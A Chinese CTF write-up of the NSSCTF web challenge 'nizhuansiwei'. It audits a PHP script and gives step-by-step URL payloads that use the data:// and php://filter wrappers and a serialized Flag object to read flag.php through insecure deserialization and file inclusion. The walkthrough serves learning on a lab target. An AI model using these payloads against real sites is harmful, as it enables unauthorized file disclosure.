NSSCTF WEB nizhuansiwei
进入题目页面,先看一眼标签,发现本题的标签是反序列化,php伪协议。这些标签是做过题的人共同选出来的,所以具有一定参考价值
进入到题目地址,发现是一段php源码,源码都给了,那当然是先来一手代码审计。
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
file_get_contents:将整个文件读入到一个字符串中。使用该函数可以读取本地的文件、远程文件和 HTTP 请求的响应等内容。
语法:file_get_contents(path,include_path,context,start,max_length)
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。 |
preg_match:将给到的函数与所给的内容进行匹配,匹配成功返回1,未匹配则返回0
本题就是通过对flag进行匹配,来对GET的内容进行过滤
unserialize:将所给的值进行反序列化
根据上面获得的信息,我们可以知道,需要给text传递的值为"welcome to the zjctf",我们先传一下试试,看会有什么回显。这里我们用data来传输数据。
playload:/?text=data://text/plain,welcome to the zictf
发现存在回显,说明我们方向正确,继续输入flie的参数useless.php来读取useless.php的内容直接传输file=useless.php发现页面变化,说明直接传值无法读取该文件内容,那我们使用php://filter来进行读取并对读取文件名进行base64编码。
playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
发现下面出现了一串编码,放进bp的编码工具,进行解码获得下面代码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
到这基本就没什么了,就是对这段代码进行序列化。序列化代码如下:
<?php class Flag{ //flag.php public $file; } $a = new Flag(); $a->file = 'flag.php'; $b=urlencode(serialize($a)); echo $b;
执行代码之后将内容传给password就行了,要注意的是,这段代码是在useless.php界面下的,所以最终的playload也应该在这个界面,所以flie的值就直接传useless.php
最终playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
然后就获得本题的flag了
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!